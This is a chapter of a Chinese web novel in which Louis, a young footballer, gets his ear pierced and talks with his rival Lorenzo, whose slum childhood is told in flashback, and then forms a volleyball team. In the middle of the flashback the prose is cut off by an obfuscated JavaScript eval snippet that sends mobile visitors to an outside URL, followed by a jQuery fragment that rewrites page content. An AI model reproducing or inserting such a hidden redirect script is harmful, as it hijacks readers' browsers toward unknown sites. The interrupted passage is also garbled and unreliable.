凯撒……


    有时候路易在想,他是不是就像巴甫洛夫实验下那条可怜的狗,被凯撒驯化出了可悲的条件反射。


    只要看到这个名字,就不由自主地掉进情绪陷阱,刚刚在体育馆的好心情荡然无存。


    “宿主……”系统犹疑地出声,“您还好吗?”


    路易深吸了口气:“很明显,不太好。”


    早春昼夜温差大,当最后一缕霞光彻底融入夜色,浅淡的凉意便席卷而来。


    路易不是设置好程序的机器人,能够心无旁骛地按照既定目标行进。在系统看来自虐般的练习,只是路易放空大脑的栖息所。


    不用睡觉实在是太好了。


    那些光怪陆离的梦境从未有一刻放过他。


    一会儿是队友们全都背着光,看不清脸,只冷淡地越过他站到凯撒身边。


    一会儿是爸爸亲热地搂着凯撒,向媒体介绍这是他得意的义子。


    梦里的凯撒并没有冲他露出得意的笑容,他只是在所有人都望向他的时候,微微偏了偏头,看向角落里透明人一般的路易。


    所有的一切都虚化成模糊的一片,他们分别站在圆锥形的光圈里,如同舞台剧里的独幕戏。


    明明对方什么也没做,路易已经觉得血流倒逆,而这种跳梁小丑般的破防更显可笑。


    往往这时,他便会浑身冷汗的从梦中惊醒。


    “但是……我不要再受他影响了。”


    系统正在数据库查找“如何安慰失落人类”,忽然听见路易这么说。


    它从数据库中抽离,看见自己的宿主脸色苍白,眼神凝在虚空中的某个点,泛出一股磨牙吮血的腥煞。


    哪怕是它绑定对方那天,对方都没有露出这样的表情。


    “不只是他。”


    路易抓住自己背包上挂着的拜塔队徽团子,稍稍用力将之扯了下来。


    如果不是网友那些风言风语,他都没有意识到,自己那天穿的是拜塔的队服。


    路易忽然想到,在父亲看来,他的退训就像是孩子不懂事的胡闹吧?


    他收捡行装时,还是下意识捡了这些东西。


    从有记忆起,就听着父亲效忠拜塔、一人一城的事迹长大,每个人都觉得他有义务延续这样的忠诚,他生活在慕尼黑啊,不支持自己家乡的足球俱乐部,难道还要投向别的球队吗?


    他们好像觉得,他的人生早就被打下了拜塔·慕尼黑的烙印。


    曾经,的确是这样,但现在——


    “所有背叛我的,都没有必要留恋了。”


    极淡的水光随着颤动的瞳仁摇曳,却在下一次眨眼时如烈阳下的水汽转瞬即逝,只有眼眶底部的红血丝能看出些许端倪。


    路易按灭手机,道路两旁的路灯次第亮起,街边的商店也纷纷打开了橱柜里的灯。


    他刚刚就看见了,玻璃窗内那一面面耳饰墙中,最为璀璨夺目的蓝锆石耳坠。


    “其实,这种浓郁的蓝色很漂亮不是吗?”


    路易轻轻笑了,走向店中,取下耳坠递给店员:“请帮我把这个包起来吧。”


    店员很快应下,只是在路易结完账递给他时,见他耳上没有耳洞,多问了句:“是送给女朋友吗?我们可以提供更精美的包装。”只是需要多收点费用罢了。


    店员想想自己的业绩,热情地望向路易。


    “不,是我自己戴。”


    “啊,这样,那需要在本店打耳洞吗?您刚刚消费了3150円,打耳洞的话可以优惠哦!”


    “那就……麻烦了。”


    清凉的消毒水细心地涂在耳垂,店员定好点位拿镜子给路易看,路易本身并不是出于美观的想法打耳洞,所以随意地点了点头。


    “宿主你不是讨厌蓝色吗?”系统还记得那天路易砸碎了所有的蓝色物品。


    “现在想想,那种逃避的行为太逊了。越是讨厌,就越应该正视才对。”


    总有一天,他会像凯撒戳破他的幻梦那般,将对方从那什么皇帝的位置拽下来。


    拜托,德国1918年就废除了君主制。复辟党都该下地狱。


    这家店是手穿,路易清晰感受到皮肉被刺破的瞬间,像鱼吐了个泡泡,极轻微的“啵”的一声,剧烈尖锐的刺痛一下使得整个耳朵红了起来。


    这种疼痛出乎意料的十分解压,路易长出了口气,淡淡的面上终于浮现出一个真心实意的笑容。


    是个非常漂亮的孩子呢。店员看着路易心想,她帮路易戴好钛金消毒钉,认真叮嘱打耳洞后需要注意的事项:“感觉您比来之前心情好了很多。”


    路易碰了碰因疼痛发烫的耳廓:“有吗?”


    店员把包好的耳坠递给路易,送他到门口:“有哦,祝您天天开心,欢迎下次光临。”


    虽然是例行惯例,但的确让路易心情又好上几分:“谢谢。”


    以至于走出店门,手机又响个不停时,他接通了电话。


    这是一通来自意大利的电话。


    “终于肯接电话了啊小王子。”洛伦佐穿着尤伯斯宽松的运动服盘腿坐在俱乐部的影音室,怀里还抱着一桶爆米花。


    “咔嚓咔嚓——”


    一口金牙在光线昏暗的影音室闪着幽微的光:“你这事办得可不怎么样,赢了我就直接掀摊子跑了?”


    “说好下次让我赢回来的呢?”


    “别这样叫我。”路易抛了抛手中的首饰盒,矢口否认,“谁答应你了?我们说的不是,下次你们再输,就请你们全队吃大餐?”


    洛伦佐笑倒在懒人沙发,爆米花洒了一地:“可你跑了诶。”


    灰色的卷毛刘海有几缕遮住视线,洛伦佐也没管,他的眼窝深而宽,眉骨又高,眼尾天然一片阴影下至,盯住人时,不自觉便带来一种心理上的压迫感,这还是洛伦佐爱笑,他不笑时,配上他那奇诡的气质,就更加不像什么好东西了。


    “你不是去打什么排球了?怎么,真的不再踢球了?”


    系统的事路易无法对人解释,此时他只能说:“暂时换换心情,放心,会回去的。”


    “回拜塔?”


    “当然不。”


    两人一时无言,洛伦佐从沙发上坐了起来,他没想到能知道这样一个劲爆的消息:“你确定?”


    “我是说,你可是路易,那可是拜塔。”


    路易很平静:“曾经是家,未来,大概是敌手吧。”


    洛伦佐喃喃道:“那乐子可就大了……”


    路易那边不知何时挂了电话,他还坐在沙发上发呆,他没有想到路易真有这种将一切搅个天翻地覆的魄力,这一天到来的还如此之快。


    他没有和路易说过,早在他们在青少赛会面前,他就已经见过他了。


    和路易不同,他出身佛罗伦萨最混乱的贫民窟,年幼时被亲人接连抛弃,一路靠着捡垃圾生活。


    长期的营养不良让他一口牙烂的烂、掉的掉,他蜷缩在角落,像下水道的老鼠一般苟活。


    那天,整座弗洛伦萨都莫名地沉浸在一种狂欢的气氛中。


    洛伦佐不关心这些。


    他只知道街上多了很多乱扔的吃剩下的东西,他捡起地上被吃了一半的面包,拍了拍灰,然后就被人高马大的安保人员不耐烦地推到了一边。


    很快,游行的大巴车来了,身边的人群顿时爆发出一阵冲天的欢呼声。


    他们在热烈的、迫不及待的欢迎着大巴上的男人。


    “萨克森!萨克森!”


    洛伦佐也跟着抬头,巴士栏杆后面,站着一个看不清面容的男人,他太高大了,又是那么强壮。


    那时候洛伦佐还没有踢球,自然不认识这是大名鼎鼎的球王萨克森。


    他只是一直抬头看着,直到脖子都酸了也没有移开视线。


    因为那个看上去本该是大人物的男人,肩头坐着一个金发的小男孩,男人虽然不断和下面的球迷挥手,可他的另一只手始终没有离开过男孩的腿。


    男孩一手抓着糖果,另一手还挥舞着他的泡泡枪,一阵又一阵七彩的泡泡在阳光下是那样美丽。


    人们又开始呼喊他的名字。


    “路易!路易!”


    “我们路易的泡泡是全天下最漂亮的泡泡。”


    听见人群中不断传来的声音,男孩咯咯咯地笑了。


    他胖胖的手抓不住那么多糖果,不断有糖果落下,人们欢呼着去抢。


    洛伦佐也抢了。


    那些体面的大人在抢食这方面,远远比不上他。


    渐渐地,大巴缓缓驶向下一条街道,人们也跟着过去,街道如退潮一般重归冷清。


    洛伦佐没有跟上去,他只是拍了拍自己的面包,咬了一口,慢慢回了昏暗的巷道。


    啊,这就是妈妈说的,童话里的王子吧?他看上去是那么幸福。


    硬硬的糖果梗在他的手心,却像是梗在了他的喉咙,本就干巴的面包更加难以下咽。


    洛伦佐擦了擦眼睛,他没有吃那枚糖果,他只是很突然的,不想再这样活了,肮脏的、浑浑噩噩的,长大了和女流浪汉生下一堆小流浪汉,重复着他母亲、他兄弟和他自己的悲剧。


    在他决心改变的这一天,他遇见了同样前来佛罗伦萨观赛的史纳菲。


    “跟我走吧?”


    洛伦佐不知道这个男人要带他去哪里,或许是把他卖了,也或许是割掉他的器官。


    他只是扯了扯自己的嘴,露出一口烂牙:“可以,只要你帮我把这口牙变成金的。”


    史纳菲答应了。


    他又伸出脏兮兮的手,手心是一颗被玻璃纸包的整整齐齐的糖果。


    “我还要这样的糖果,从超市里买的。”而不是跪趴在地上捡别人手中落下的。


    史纳菲看看他手中的糖果,揉了揉他的脑袋,没有嫌弃他一绺一绺的头发:“跟我走,你可以用薪水自己去买,想买多少都行。”


    “我看见了,你望向他们的眼神。”


    “你想成为那样的人吗?”


    “那就跟我走吧,去尤伯斯踢球。”


    洛伦佐花了很长时间才确定,史纳菲真的是好人,一个十分难得的靠谱大人。


    他过上了新的生活,但他始终忘不掉那天在佛罗伦萨遇见萨克森父子的情景。


    听说路易升入拜塔U13了,那么未来他们一定能够在赛场相遇吧?


    他努力训练,史纳菲说他是难得的天才,球风诡谲,别有魅力,最重要的是,他的足球充满了欲望。


    成为人上人的强烈欲望。


    “而拜塔的那个小子就……”史纳菲摇了摇头。


    洛伦佐被压着做拉伸,闻言费力地扭过脸:“他怎么了?”


    “他很好,但他迟早会跌跟头的。”史纳菲不讨厌路易,没有人会讨厌路易,他小时候就是个超级甜豆,“太顺的孩子,球风也太过绵软,当真正的风雨来临,他扛不住的。”


    洛伦佐听不懂,非要经历苦难才能成为优秀的人吗?这种论调未免也太让人不爽了,谁生下来是为了受苦的?


    很快,他就和路易在赛场相遇,他们等在球员通道的时候,路易笑着和他打招呼。


    果然没有认出来呢。


    也是,那天有那么多人,路易怎么可能会注意到那个人海里捧着脏面包的男孩?


    洛伦佐笑嘻嘻地伸出手:“你好啊,我是洛伦佐。”


    那样的我,如今也能站在你这样闪闪发光的王子面前了。


    直到此刻,洛伦佐才彻底有了实感,逃离了充满赌博、□□、吸O的贫民窟的实感。


    这场比赛他输了,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490603|170061||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    可他也懵懵懂懂地明白了史纳菲的话,所谓的路易球风绵软。


    那是一个极容易心软的人,明明他可以更暴力地撞过他的防守,但或许是觉得他瘦骨嶙峋吧,对方选择了一种对技术要求更高的过人,避开了直接的身体冲撞。


    而这,耽误了进攻的时间。


    在这种孩子中的比赛或许还看不出什么,可如果放到顶级赛场,他多花的这几秒,或许就是别人翻盘的机会。


    路易想赢,但他想赢的心并没有那么强烈。


    洛伦佐看着站在球场中间享受着球迷掌声的路易,金发的王子只是在享受爱,球迷的溺爱,这种享受几乎要超过他对足球本身的渴望。


    谢完场路易和他一起走向球员通道,对方看了看他裸露在外的四肢,那是一种不像运动员的瘦弱四肢:“你的意识很棒,但你的身体目前还跟不上你的想法。”


    在他的世界似乎没有另一种更加残酷的可能,他只是嫌弃地吐槽尤伯斯:“尤伯斯这么大一个俱乐部,不让青训球员吃饱饭吗?”


    洛伦佐几乎要笑出声来,这个世界无论哪个俱乐部,给青训球员发的薪水都很微薄,孩子们吃不饱是常有的事,除非家里富裕给了孩子足够的零用钱。


    他几乎有些好奇:“拜塔的小球员都能吃饱饭吗?我是说每一个。”


    路易不明白:“不然呢?不是都有专门的营养师照看饮食吗?我们可是职业运动员啊。”


    洛伦佐没再反驳他,只是笑着说:“不愧是王子啊。”


    不是所有青训球员都能走上职业的,俱乐部自然不会花大价钱在他们身上。


    路易的话,大概是不想搞特殊搞的太过明显,所以和他同队的孩子都享受到了同等的待遇。


    “我怎么觉得你在笑话我?”路易盯向洛伦佐,“我只是觉得你这样的球员,不应该被身体素质困扰,你难道想一直输给我吗?”


    明知道对方是传说中的天龙人,可洛伦佐却不讨厌路易:“史纳菲自掏腰包在为我调理身体,只是没那么快见效。”


    “下次见面,路易,你赢不了我。”


    是垃圾话,也是他的真心话。


    路易锤了他一拳,他哈哈大笑。


    比赛结束了,但两人私下里的来往并没有断掉。


    他会和路易分享他在后颈纹了一个特别炫酷的纹身,下次比赛给他看,他一定会羡慕的!


    路易想纹身,但是他父母都不喜欢那些把身体纹得乱七八糟的球员,啊,他父亲祖上曾经是贵族,虽然后来落魄了,姓名中的那个冯就是贵族的象征,母亲也是艺术世家出来的大小姐,这样的家庭总有一种若有似无的自命不凡。


    “……这有什么了不起的?”路易咬牙切齿。


    “好吧好吧,乖宝宝路易。”洛伦佐心情大好,“这确实没什么了不起的。”


    “只要下次见面你别把眼珠子盯在我的纹身上面。”


    对面“啪”的把电话挂了。


    谁知道,下次始终没有到来。


    率先到来的,是路易离开拜塔。


    更让人意想不到的是,象牙塔里的王子好像终于有了反抗的心。


    他猛地从沙发上起来,顾不上一地狼藉,朝史纳菲在的地方飞奔而去。


    “史纳菲!史纳菲!”


    他找到史纳菲后一把抓住他的手臂:“路易,路易!”


    “你之前说他没有自我,可如果他有了呢?”


    洛伦佐暗紫色的眼睛前所未有地亮了起来:“尤伯斯能够买下他吗?”


    史纳菲被这没头没尾的话弄得一头雾水,但他还是回答了洛伦佐:“只要他展现出相应的价值,并且愿意离开拜塔,尤伯斯当然不会放过任何一个极具潜力的球员。”


    洛伦佐笑了。


    “他会做到的。”


    他想到刚刚电话中斩钉截铁,没有丝毫优柔的路易,更正了自己的说法。


    “不,他就是。”


    *


    而被人记挂的路易此时已经回到家里,进入空间开始思考到底要让排球队走什么风格。


    在被系统问到想打什么位置的时候,路易想也不想:“当然是主攻手。”


    进攻是前锋流淌在血液里的本能,就算换了种运动,也绝无可能更改。


    “决定了。”路易看向系统空间中那面由黄绿蓝三色构成的国旗,“就巴西吧!”


    巴西,公认的排球王国,夺得的金牌熠熠生辉足以垒起高台,奠定了巴西“排球霸主”的地位。


    以高弹跳和强力扣杀著称,想起翔阳那惊人的表现,路易更加确定了要走的风格。


    “好的,已为您开放巴西国家队训练内容,您可在巴西馆进行相应训练。”


    又是一个酣畅淋漓的不眠之夜。


    第二天,路易信心满满地来到排球队,却忘了今天只有他和翔阳。


    没关系,两个人也能练!反正他的战术核心就是他们俩!


    在接下来的日子里,路易通过反复观察,综合各个队员的表现,确定了排球队正选阵容。


    足球队队长,渡边拓海,任接应,


    刺猬头,铃木一郎,任自由人,


    前腰,风早智也,任二传,


    日向翔阳,任副攻,


    前锋,风斗幽一,任主攻,


    路易,主攻兼队长。


    排球队正式成形的这天,路易大手一挥:“准备一下,周日我们需要外出。”


    “诶?去哪里?”


    乖巧的橘子头学弟仰起脸看他,充满好奇。


    路易一锤定音:“大阪。”


    等着下文的众人:没了?这就没了?去大阪干什么你这家伙怎么不说啊混蛋?!


    盼星星盼月亮,在一众人的翘首以待中,出发的日子终于到了。